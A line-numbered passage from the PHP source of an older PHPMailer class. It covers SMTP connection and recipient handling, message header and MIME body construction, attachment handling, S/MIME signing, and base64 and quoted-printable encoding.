  1899.       if(!$this->smtp->Recipient($this->bcc[$i][0])) {
  1900.         $bad_rcpt[] = $this->bcc[$i][0];
  1901.       }
  1902.     }
  1903.  
  1904.     if(count($bad_rcpt) > 0) { // Create error message
  1905.       for($i = 0; $i < count($bad_rcpt); $i++) {
  1906.         if($i != 0) {
  1907.           $error .= ', ';
  1908.         }
  1909.         $error .= $bad_rcpt[$i];
  1910.  
  1911.       }
  1912.       $error = $this->Lang('recipients_failed') . $error;
  1913.       $this->SetError($error);
  1914.       $this->smtp->Reset();
  1915.       return false;
  1916.     }
  1917.  
  1918.     if(!$this->smtp->Data($header . $body)) {
  1919.       $this->SetError($this->Lang('data_not_accepted'));
  1920.       $this->smtp->Reset();
  1921.       return false;
  1922.     }
  1923.     if($this->SMTPKeepAlive == true) {
  1924.       $this->smtp->Reset();
  1925.     } else {
  1926.       $this->SmtpClose();
  1927.     }
  1928.  
  1929.     return true;
  1930.   }
  1931.  
  1932.   /**
  1933.    * Initiates a connection to an SMTP server.  Returns false if the
  1934.    * operation failed.
  1935.    * @access private
  1936.    * @return bool
  1937.    */
  1938.   function SmtpConnect() {
  1939.     if($this->smtp == NULL) {
  1940.       $this->smtp = new SMTP();
  1941.     }
  1942.  
  1943.     $this->smtp->do_debug = $this->SMTPDebug;
  1944.     $hosts = explode(';', $this->Host);
  1945.     $index = 0;
  1946.     $connection = ($this->smtp->Connected());
  1947.  
  1948.     /* Retry while there is no connection */
  1949.     while($index < count($hosts) && $connection == false) {
  1950.       $hostinfo = array();
  1951.       if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
  1952.         $host = $hostinfo[1];
  1953.         $port = $hostinfo[2];
  1954.       } else {
  1955.         $host = $hosts[$index];
  1956.         $port = $this->Port;
  1957.       }
  1958.  
  1959.       if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
  1960.         if ($this->Helo != '') {
  1961.           $this->smtp->Hello($this->Helo);
  1962.         } else {
  1963.           $this->smtp->Hello($this->ServerHostname());
  1964.         }
  1965.  
  1966.         $connection = true;
  1967.         if($this->SMTPAuth) {
  1968.           if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
  1969.             $this->SetError($this->Lang('authenticate'));
  1970.             $this->smtp->Reset();
  1971.             $connection = false;
  1972.           }
  1973.         }
  1974.       }
  1975.       $index++;
  1976.     }
  1977.     if(!$connection) {
  1978.       $this->SetError($this->Lang('connect_host'));
  1979.     }
  1980.  
  1981.     return $connection;
  1982.   }
  1983.  
  1984.   /**
  1985.    * Closes the active SMTP session if one exists.
  1986.    * @return void
  1987.    */
  1988.   function SmtpClose() {
  1989.     if($this->smtp != NULL) {
  1990.       if($this->smtp->Connected()) {
  1991.         $this->smtp->Quit();
  1992.         $this->smtp->Close();
  1993.       }
  1994.     }
  1995.   }
  1996.  
  1997.   /**
  1998.    * Sets the language for all class error messages.  Returns false
  1999.    * if it cannot load the language file.  The default language type
  2000.    * is English.
  2001.    * @param string $lang_type Type of language (e.g. Portuguese: "br")
  2002.    * @param string $lang_path Path to the language file directory
  2003.    * @access public
  2004.    * @return bool
  2005.    */
  2006.   function SetLanguage($lang_type, $lang_path = 'language/') {
  2007.     if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
  2008.       include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
  2009.     } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
  2010.       include($lang_path.'phpmailer.lang-en.php');
  2011.     } else {
  2012.       $this->SetError('Could not load language file');
  2013.       return false;
  2014.     }
  2015.     $this->language = $PHPMAILER_LANG;
  2016.  
  2017.     return true;
  2018.   }
  2019.  
  2020.   /////////////////////////////////////////////////
  2021.   // METHODS, MESSAGE CREATION
  2022.   /////////////////////////////////////////////////
  2023.  
  2024.   /**
  2025.    * Creates recipient headers.
  2026.    * @access private
  2027.    * @return string
  2028.    */
  2029.   function AddrAppend($type, $addr) {
  2030.     $addr_str = $type . ': ';
  2031.     $addr_str .= $this->AddrFormat($addr[0]);
  2032.     if(count($addr) > 1) {
  2033.       for($i = 1; $i < count($addr); $i++) {
  2034.         $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
  2035.       }
  2036.     }
  2037.     $addr_str .= $this->LE;
  2038.  
  2039.     return $addr_str;
  2040.   }
  2041.  
  2042.   /**
  2043.    * Formats an address correctly.
  2044.    * @access private
  2045.    * @return string
  2046.    */
  2047.   function AddrFormat($addr) {
  2048.     if(empty($addr[1])) {
  2049.       $formatted = $this->SecureHeader($addr[0]);
  2050.     } else {
  2051.       $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
  2052.     }
  2053.  
  2054.     return $formatted;
  2055.   }
  2056.  
  2057.   /**
  2058.    * Wraps message for use with mailers that do not
  2059.    * automatically perform wrapping and for quoted-printable.
  2060.    * Original written by philippe.
  2061.    * @access private
  2062.    * @return string
  2063.    */
  2064.   function WrapText($message, $length, $qp_mode = false) {
  2065.     $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
  2066.     // If utf-8 encoding is used, we will need to make sure we don't
  2067.     // split multibyte characters when we wrap
  2068.     $is_utf8 = (strtolower($this->CharSet) == "utf-8");
  2069.  
  2070.     $message = $this->FixEOL($message);
  2071.     if (substr($message, -1) == $this->LE) {
  2072.       $message = substr($message, 0, -1);
  2073.     }
  2074.  
  2075.     $line = explode($this->LE, $message);
  2076.     $message = '';
  2077.     for ($i=0 ;$i < count($line); $i++) {
  2078.       $line_part = explode(' ', $line[$i]);
  2079.       $buf = '';
  2080.       for ($e = 0; $e<count($line_part); $e++) {
  2081.         $word = $line_part[$e];
  2082.         if ($qp_mode and (strlen($word) > $length)) {
  2083.           $space_left = $length - strlen($buf) - 1;
  2084.           if ($e != 0) {
  2085.             if ($space_left > 20) {
  2086.               $len = $space_left;
  2087.               if ($is_utf8) {
  2088.                 $len = $this->UTF8CharBoundary($word, $len);
  2089.               } elseif (substr($word, $len - 1, 1) == "=") {
  2090.                 $len--;
  2091.               } elseif (substr($word, $len - 2, 1) == "=") {
  2092.                 $len -= 2;
  2093.               }
  2094.               $part = substr($word, 0, $len);
  2095.               $word = substr($word, $len);
  2096.               $buf .= ' ' . $part;
  2097.               $message .= $buf . sprintf("=%s", $this->LE);
  2098.             } else {
  2099.               $message .= $buf . $soft_break;
  2100.             }
  2101.             $buf = '';
  2102.           }
  2103.           while (strlen($word) > 0) {
  2104.             $len = $length;
  2105.             if ($is_utf8) {
  2106.               $len = $this->UTF8CharBoundary($word, $len);
  2107.             } elseif (substr($word, $len - 1, 1) == "=") {
  2108.               $len--;
  2109.             } elseif (substr($word, $len - 2, 1) == "=") {
  2110.               $len -= 2;
  2111.             }
  2112.             $part = substr($word, 0, $len);
  2113.             $word = substr($word, $len);
  2114.  
  2115.             if (strlen($word) > 0) {
  2116.               $message .= $part . sprintf("=%s", $this->LE);
  2117.             } else {
  2118.               $buf = $part;
  2119.             }
  2120.           }
  2121.         } else {
  2122.           $buf_o = $buf;
  2123.           $buf .= ($e == 0) ? $word : (' ' . $word);
  2124.  
  2125.           if (strlen($buf) > $length and $buf_o != '') {
  2126.             $message .= $buf_o . $soft_break;
  2127.             $buf = $word;
  2128.           }
  2129.         }
  2130.       }
  2131.       $message .= $buf . $this->LE;
  2132.     }
  2133.  
  2134.     return $message;
  2135.   }
  2136.  
  2137.   /**
  2138.    * Finds last character boundary prior to maxLength in a utf-8
  2139.    * quoted (printable) encoded string.
  2140.    * Original written by Colin Brown.
  2141.    * @access private
  2142.    * @param string $encodedText utf-8 QP text
  2143.    * @param int    $maxLength   find last character boundary prior to this length
  2144.    * @return int
  2145.    */
  2146.   function UTF8CharBoundary($encodedText, $maxLength) {
  2147.     $foundSplitPos = false;
  2148.     $lookBack = 3;
  2149.     while (!$foundSplitPos) {
  2150.       $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  2151.       $encodedCharPos = strpos($lastChunk, "=");
  2152.       if ($encodedCharPos !== false) {
  2153.         // Found start of encoded character byte within $lookBack block.
  2154.         // Check the encoded byte value (the 2 chars after the '=')
  2155.         $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  2156.         $dec = hexdec($hex);
  2157.         if ($dec < 128) { // Single byte character.
  2158.           // If the encoded char was found at pos 0, it will fit
  2159.           // otherwise reduce maxLength to start of the encoded char
  2160.           $maxLength = ($encodedCharPos == 0) ? $maxLength :
  2161.           $maxLength - ($lookBack - $encodedCharPos);
  2162.           $foundSplitPos = true;
  2163.         } elseif ($dec >= 192) { // First byte of a multi byte character
  2164.           // Reduce maxLength to split at start of character
  2165.           $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  2166.           $foundSplitPos = true;
  2167.         } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
  2168.           $lookBack += 3;
  2169.         }
  2170.       } else {
  2171.         // No encoded character found
  2172.         $foundSplitPos = true;
  2173.       }
  2174.     }
  2175.     return $maxLength;
  2176.   }
  2177.  
  2178.   /**
  2179.    * Set the body wrapping.
  2180.    * @access private
  2181.    * @return void
  2182.    */
  2183.   function SetWordWrap() {
  2184.     if($this->WordWrap < 1) {
  2185.       return;
  2186.     }
  2187.  
  2188.     switch($this->message_type) {
  2189.       case 'alt':
  2190.         /* fall through */
  2191.       case 'alt_attachments':
  2192.         $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
  2193.         break;
  2194.       default:
  2195.         $this->Body = $this->WrapText($this->Body, $this->WordWrap);
  2196.         break;
  2197.     }
  2198.   }
  2199.  
  2200.   /**
  2201.    * Assembles message header.
  2202.    * @access private
  2203.    * @return string
  2204.    */
  2205.   function CreateHeader() {
  2206.     $result = '';
  2207.  
  2208.     /* Set the boundaries */
  2209.     $uniq_id = md5(uniqid(time()));
  2210.     $this->boundary[1] = 'b1_' . $uniq_id;
  2211.     $this->boundary[2] = 'b2_' . $uniq_id;
  2212.  
  2213.     $result .= $this->HeaderLine('Date', $this->RFCDate());
  2214.     if($this->Sender == '') {
  2215.       $result .= $this->HeaderLine('Return-Path', trim($this->From));
  2216.     } else {
  2217.       $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
  2218.     }
  2219.  
  2220.     /* To be created automatically by mail() */
  2221.     if($this->Mailer != 'mail') {
  2222.       if(count($this->to) > 0) {
  2223.         $result .= $this->AddrAppend('To', $this->to);
  2224.       } elseif (count($this->cc) == 0) {
  2225.         $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
  2226.       }
  2227.       if(count($this->cc) > 0) {
  2228.         $result .= $this->AddrAppend('Cc', $this->cc);
  2229.       }
  2230.     }
  2231.  
  2232.     $from = array();
  2233.     $from[0][0] = trim($this->From);
  2234.     $from[0][1] = $this->FromName;
  2235.     $result .= $this->AddrAppend('From', $from);
  2236.  
  2237.     /* sendmail and mail() extract Cc from the header before sending */
  2238.     if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
  2239.       $result .= $this->AddrAppend('Cc', $this->cc);
  2240.     }
  2241.  
  2242.     /* sendmail and mail() extract Bcc from the header before sending */
  2243.     if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
  2244.       $result .= $this->AddrAppend('Bcc', $this->bcc);
  2245.     }
  2246.  
  2247.     if(count($this->ReplyTo) > 0) {
  2248.       $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
  2249.     }
  2250.  
  2251.     /* mail() sets the subject itself */
  2252.     if($this->Mailer != 'mail') {
  2253.       $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
  2254.     }
  2255.  
  2256.     if($this->MessageID != '') {
  2257.       $result .= $this->HeaderLine('Message-ID',$this->MessageID);
  2258.     } else {
  2259.       $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
  2260.     }
  2261.     $result .= $this->HeaderLine('X-Priority', $this->Priority);
  2262.     $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
  2263.  
  2264.     if($this->ConfirmReadingTo != '') {
  2265.       $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  2266.     }
  2267.  
  2268.     // Add custom headers
  2269.     for($index = 0; $index < count($this->CustomHeader); $index++) {
  2270.       $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
  2271.     }
  2272.     if (!$this->sign_key_file) {
  2273.       $result .= $this->HeaderLine('MIME-Version', '1.0');
  2274.       $result .= $this->GetMailMIME();
  2275.     }
  2276.  
  2277.     return $result;
  2278.   }
  2279.  
  2280.   /**
  2281.    * Returns the message MIME.
  2282.    * @access private
  2283.    * @return string
  2284.    */
  2285.   function GetMailMIME() {
  2286.     $result = '';
  2287.     switch($this->message_type) {
  2288.       case 'plain':
  2289.         $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
  2290.         $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
  2291.         break;
  2292.       case 'attachments':
  2293.         /* fall through */
  2294.       case 'alt_attachments':
  2295.         if($this->InlineImageExists()){
  2296.           $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
  2297.         } else {
  2298.           $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
  2299.           $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2300.         }
  2301.         break;
  2302.       case 'alt':
  2303.         $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
  2304.         $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2305.         break;
  2306.     }
  2307.  
  2308.     if($this->Mailer != 'mail') {
  2309.       $result .= $this->LE.$this->LE;
  2310.     }
  2311.  
  2312.     return $result;
  2313.   }
  2314.  
  2315.   /**
  2316.    * Assembles the message body.  Returns an empty string on failure.
  2317.    * @access private
  2318.    * @return string
  2319.    */
  2320.   function CreateBody() {
  2321.     $result = '';
  2322.     if ($this->sign_key_file) {
  2323.       $result .= $this->GetMailMIME();
  2324.     }
  2325.  
  2326.     $this->SetWordWrap();
  2327.  
  2328.     switch($this->message_type) {
  2329.       case 'alt':
  2330.         $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
  2331.         $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2332.         $result .= $this->LE.$this->LE;
  2333.         $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
  2334.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2335.         $result .= $this->LE.$this->LE;
  2336.         $result .= $this->EndBoundary($this->boundary[1]);
  2337.         break;
  2338.       case 'plain':
  2339.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2340.         break;
  2341.       case 'attachments':
  2342.         $result .= $this->GetBoundary($this->boundary[1], '', '', '');
  2343.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2344.         $result .= $this->LE;
  2345.         $result .= $this->AttachAll();
  2346.         break;
  2347.       case 'alt_attachments':
  2348.         $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
  2349.         $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
  2350.         $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
  2351.         $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2352.         $result .= $this->LE.$this->LE;
  2353.         $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
  2354.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2355.         $result .= $this->LE.$this->LE;
  2356.         $result .= $this->EndBoundary($this->boundary[2]);
  2357.         $result .= $this->AttachAll();
  2358.         break;
  2359.     }
  2360.  
  2361.     if($this->IsError()) {
  2362.       $result = '';
  2363.     } else if ($this->sign_key_file) {
  2364.       $file = tempnam("", "mail");
  2365.       $fp = fopen($file, "w");
  2366.       fwrite($fp, $result);
  2367.       fclose($fp);
  2368.       $signed = tempnam("", "signed");
  2369.  
  2370.       if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
  2371.         $fp = fopen($signed, "r");
  2372.         $result = fread($fp, filesize($this->sign_key_file));
  2373.         fclose($fp);
  2374.       } else {
  2375.         $this->SetError($this->Lang("signing").openssl_error_string());
  2376.         $result = '';
  2377.       }
  2378.  
  2379.       unlink($file);
  2380.       unlink($signed);
  2381.     }
  2382.  
  2383.     return $result;
  2384.   }
  2385.  
  2386.   /**
  2387.    * Returns the start of a message boundary.
  2388.    * @access private
  2389.    */
  2390.   function GetBoundary($boundary, $charSet, $contentType, $encoding) {
  2391.     $result = '';
  2392.     if($charSet == '') {
  2393.       $charSet = $this->CharSet;
  2394.     }
  2395.     if($contentType == '') {
  2396.       $contentType = $this->ContentType;
  2397.     }
  2398.     if($encoding == '') {
  2399.       $encoding = $this->Encoding;
  2400.     }
  2401.     $result .= $this->TextLine('--' . $boundary);
  2402.     $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
  2403.     $result .= $this->LE;
  2404.     $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
  2405.     $result .= $this->LE;
  2406.  
  2407.     return $result;
  2408.   }
  2409.  
  2410.   /**
  2411.    * Returns the end of a message boundary.
  2412.    * @access private
  2413.    */
  2414.   function EndBoundary($boundary) {
  2415.     return $this->LE . '--' . $boundary . '--' . $this->LE;
  2416.   }
  2417.  
  2418.   /**
  2419.    * Sets the message type.
  2420.    * @access private
  2421.    * @return void
  2422.    */
  2423.   function SetMessageType() {
  2424.     if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
  2425.       $this->message_type = 'plain';
  2426.     } else {
  2427.       if(count($this->attachment) > 0) {
  2428.         $this->message_type = 'attachments';
  2429.       }
  2430.       if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
  2431.         $this->message_type = 'alt';
  2432.       }
  2433.       if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
  2434.         $this->message_type = 'alt_attachments';
  2435.       }
  2436.     }
  2437.   }
  2438.  
  2439.   /* Returns a formatted header line.
  2440.    * @access private
  2441.    * @return string
  2442.    */
  2443.   function HeaderLine($name, $value) {
  2444.     return $name . ': ' . $value . $this->LE;
  2445.   }
  2446.  
  2447.   /**
  2448.    * Returns a formatted mail line.
  2449.    * @access private
  2450.    * @return string
  2451.    */
  2452.   function TextLine($value) {
  2453.     return $value . $this->LE;
  2454.   }
  2455.  
  2456.   /////////////////////////////////////////////////
  2457.   // CLASS METHODS, ATTACHMENTS
  2458.   /////////////////////////////////////////////////
  2459.  
  2460.   /**
  2461.    * Adds an attachment from a path on the filesystem.
  2462.    * Returns false if the file could not be found
  2463.    * or accessed.
  2464.    * @param string $path Path to the attachment.
  2465.    * @param string $name Overrides the attachment name.
  2466.    * @param string $encoding File encoding (see $Encoding).
  2467.    * @param string $type File extension (MIME) type.
  2468.    * @return bool
  2469.    */
  2470.   function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2471.     if(!@is_file($path)) {
  2472.       $this->SetError($this->Lang('file_access') . $path);
  2473.       return false;
  2474.     }
  2475.  
  2476.     $filename = basename($path);
  2477.     if($name == '') {
  2478.       $name = $filename;
  2479.     }
  2480.  
  2481.     $cur = count($this->attachment);
  2482.     $this->attachment[$cur][0] = $path;
  2483.     $this->attachment[$cur][1] = $filename;
  2484.     $this->attachment[$cur][2] = $name;
  2485.     $this->attachment[$cur][3] = $encoding;
  2486.     $this->attachment[$cur][4] = $type;
  2487.     $this->attachment[$cur][5] = false; // isStringAttachment
  2488.     $this->attachment[$cur][6] = 'attachment';
  2489.     $this->attachment[$cur][7] = 0;
  2490.  
  2491.     return true;
  2492.   }
  2493.  
  2494.   /**
  2495.    * Attaches all fs, string, and binary attachments to the message.
  2496.    * Returns an empty string on failure.
  2497.    * @access private
  2498.    * @return string
  2499.    */
  2500.   function AttachAll() {
  2501.     /* Return text of body */
  2502.     $mime = array();
  2503.  
  2504.     /* Add all attachments */
  2505.     for($i = 0; $i < count($this->attachment); $i++) {
  2506.       /* Check for string attachment */
  2507.       $bString = $this->attachment[$i][5];
  2508.       if ($bString) {
  2509.         $string = $this->attachment[$i][0];
  2510.       } else {
  2511.         $path = $this->attachment[$i][0];
  2512.       }
  2513.  
  2514.       $filename    = $this->attachment[$i][1];
  2515.       $name        = $this->attachment[$i][2];
  2516.       $encoding    = $this->attachment[$i][3];
  2517.       $type        = $this->attachment[$i][4];
  2518.       $disposition = $this->attachment[$i][6];
  2519.       $cid         = $this->attachment[$i][7];
  2520.  
  2521.       $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
  2522.       $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
  2523.       $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
  2524.  
  2525.       if($disposition == 'inline') {
  2526.         $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
  2527.       }
  2528.  
  2529.       $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
  2530.  
  2531.       /* Encode as string attachment */
  2532.       if($bString) {
  2533.         $mime[] = $this->EncodeString($string, $encoding);
  2534.         if($this->IsError()) {
  2535.           return '';
  2536.         }
  2537.         $mime[] = $this->LE.$this->LE;
  2538.       } else {
  2539.         $mime[] = $this->EncodeFile($path, $encoding);
  2540.         if($this->IsError()) {
  2541.           return '';
  2542.         }
  2543.         $mime[] = $this->LE.$this->LE;
  2544.       }
  2545.     }
  2546.  
  2547.     $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
  2548.  
  2549.     return join('', $mime);
  2550.   }
  2551.  
  2552.   /**
  2553.    * Encodes attachment in requested format.  Returns an
  2554.    * empty string on failure.
  2555.    * @access private
  2556.    * @return string
  2557.    */
  2558.   function EncodeFile ($path, $encoding = 'base64') {
  2559.     if(!@$fd = fopen($path, 'rb')) {
  2560.       $this->SetError($this->Lang('file_open') . $path);
  2561.       return '';
  2562.     }
  2563.     $magic_quotes = get_magic_quotes_runtime();
  2564.     set_magic_quotes_runtime(0);
  2565.     $file_buffer = fread($fd, filesize($path));
  2566.     $file_buffer = $this->EncodeString($file_buffer, $encoding);
  2567.     fclose($fd);
  2568.     set_magic_quotes_runtime($magic_quotes);
  2569.  
  2570.     return $file_buffer;
  2571.   }
  2572.  
  2573.   /**
  2574.    * Encodes string to requested format. Returns an
  2575.    * empty string on failure.
  2576.    * @access private
  2577.    * @return string
  2578.    */
  2579.   function EncodeString ($str, $encoding = 'base64') {
  2580.     $encoded = '';
  2581.     switch(strtolower($encoding)) {
  2582.       case 'base64':
  2583.         /* chunk_split is found in PHP >= 3.0.6 */
  2584.         $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2585.         break;
  2586.       case '7bit':
  2587.       case '8bit':
  2588.         $encoded = $this->FixEOL($str);
  2589.         if (substr($encoded, -(strlen($this->LE))) != $this->LE)
  2590.           $encoded .= $this->LE;
  2591.         break;
  2592.       case 'binary':
  2593.         $encoded = $str;
  2594.         break;
  2595.       case 'quoted-printable':
  2596.         $encoded = $this->EncodeQP($str);
  2597.         break;
  2598.       default:
  2599.         $this->SetError($this->Lang('encoding') . $encoding);
  2600.         break;
  2601.     }
  2602.     return $encoded;
  2603.   }
  2604.  
  2605.   /**
  2606.    * Encode a header string to best of Q, B, quoted or none.
  2607.    * @access private
  2608.    * @return string
  2609.    */
  2610.   function EncodeHeader ($str, $position = 'text') {
  2611.     $x = 0;
  2612.  
  2613.     switch (strtolower($position)) {
  2614.       case 'phrase':
  2615.         if (!preg_match('/[\200-\377]/', $str)) {
  2616.           /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
  2617.           $encoded = addcslashes($str, "\0..\37\177\\\"");
  2618.           if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2619.             return ($encoded);
  2620.           } else {
  2621.             return ("\"$encoded\"");
  2622.           }
  2623.         }
  2624.         $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2625.         break;
  2626.       case 'comment':
  2627.         $x = preg_match_all('/[()"]/', $str, $matches);
  2628.         /* Fall-through */
  2629.       case 'text':
  2630.       default:
  2631.         $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2632.         break;
  2633.     }
  2634.  
  2635.     if ($x == 0) {
  2636.       return ($str);
  2637.     }
  2638.  
  2639.     $maxlen = 75 - 7 - strlen($this->CharSet);
  2640.     /* Try to select the encoding which should produce the shortest output */
  2641.     if (strlen($str)/3 < $x) {
  2642.       $encoding = 'B';
  2643.       if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
  2644.      // Use a custom function which correctly encodes and wraps long
  2645.      // multibyte strings without breaking lines within a character
  2646.         $encoded = $this->Base64EncodeWrapMB($str);
  2647.       } else {
  2648.         $encoded = base64_encode($str);
  2649.         $maxlen -= $maxlen % 4;
  2650.         $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2651.       }
  2652.     } else {
  2653.       $encoding = 'Q';
  2654.       $encoded = $this->EncodeQ($str, $position);
  2655.       $encoded = $this->WrapText($encoded, $maxlen, true);
  2656.       $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
  2657.     }
  2658.  
  2659.     $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
  2660.     $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2661.  
  2662.     return $encoded;
  2663.   }
  2664.  
  2665.   /**
  2666.    * Checks if a string contains multibyte characters.
  2667.    * @access private
  2668.    * @param string $str multi-byte text to wrap encode
  2669.    * @return bool
  2670.    */
  2671.   function HasMultiBytes($str) {
  2672.     if (function_exists('mb_strlen')) {
  2673.       return (strlen($str) > mb_strlen($str, $this->CharSet));
  2674.     } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2675.       return False;
  2676.     }
  2677.   }
  2678.  
  2679.   /**
  2680.    * Correctly encodes and wraps long multibyte strings for mail headers
  2681.    * without breaking lines within a character.
  2682.    * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
  2683.    * @access private
  2684.    * @param string $str multi-byte text to wrap encode
  2685.    * @return string
  2686.    */
  2687.   function Base64EncodeWrapMB($str) {
  2688.     $start = "=?".$this->CharSet."?B?";
  2689.     $end = "?=";
  2690.     $encoded = "";
  2691.  
  2692.     $mb_length = mb_strlen($str, $this->CharSet);
  2693.     // Each line must have length <= 75, including $start and $end
  2694.     $length = 75 - strlen($start) - strlen($end);
  2695.     // Average multi-byte ratio
  2696.     $ratio = $mb_length / strlen($str);
  2697.     // Base64 has a 4:3 ratio
  2698.     $offset = $avgLength = floor($length * $ratio * .75);
  2699.  
  2700.     for ($i = 0; $i < $mb_length; $i += $offset) {
  2701.       $lookBack = 0;
  2702.  
  2703.       do {
  2704.         $offset = $avgLength - $lookBack;
  2705.         $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2706.         $chunk = base64_encode($chunk);
  2707.         $lookBack++;
  2708.       }
  2709.       while (strlen($chunk) > $length);
  2710.  
  2711.       $encoded .= $chunk . $this->LE;
  2712.     }
  2713.  
  2714.     // Chomp the last linefeed
  2715.     $encoded = substr($encoded, 0, -strlen($this->LE));
  2716.     return $encoded;
  2717.   }
  2718.  
  2719.   /**
  2720.    * Encode string to quoted-printable.
  2721.    * @access private
  2722.    * @return string
  2723.    */
  2724.   function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
  2725.     $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
  2726.     $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
  2727.     $eol = "\r\n";
  2728.     $escape = '=';
  2729.     $output = '';
  2730.     while( list(, $line) = each($lines) ) {
  2731.       $linlen = strlen($line);
  2732.       $newline = '';
  2733.       for($i = 0; $i < $linlen; $i++) {
  2734.         $c = substr( $line, $i, 1 );
  2735.         $dec = ord( $c );
  2736.         if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
  2737.           $c = '=2E';
  2738.         }
  2739.         if ( $dec == 32 ) {
  2740.           if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
  2741.             $c = '=20';
  2742.           } else if ( $space_conv ) {
  2743.             $c = '=20';
  2744.           }
  2745.         } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
  2746.           $h2 = floor($dec/16);
  2747.           $h1 = floor($dec%16);
  2748.           $c = $escape.$hex[$h2].$hex[$h1];
  2749.         }
  2750.         if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
  2751.           $output .= $newline.$escape.$eol; //  soft line break; " =\r\n" is okay
  2752.           $newline = '';
  2753.           // check if newline first character will be point or not
  2754.           if ( $dec == 46 ) {
  2755.             $c = '=2E';
  2756.           }
  2757.         }
  2758.         $newline .= $c;
  2759.       } // end of for
  2760.       $output .= $newline.$eol;
  2761.     } // end of while
  2762.     return trim($output);
  2763.   }
  2764.  
  2765.   /**
  2766.    * Encode string to q encoding.
  2767.    * @access private
  2768.    * @return string
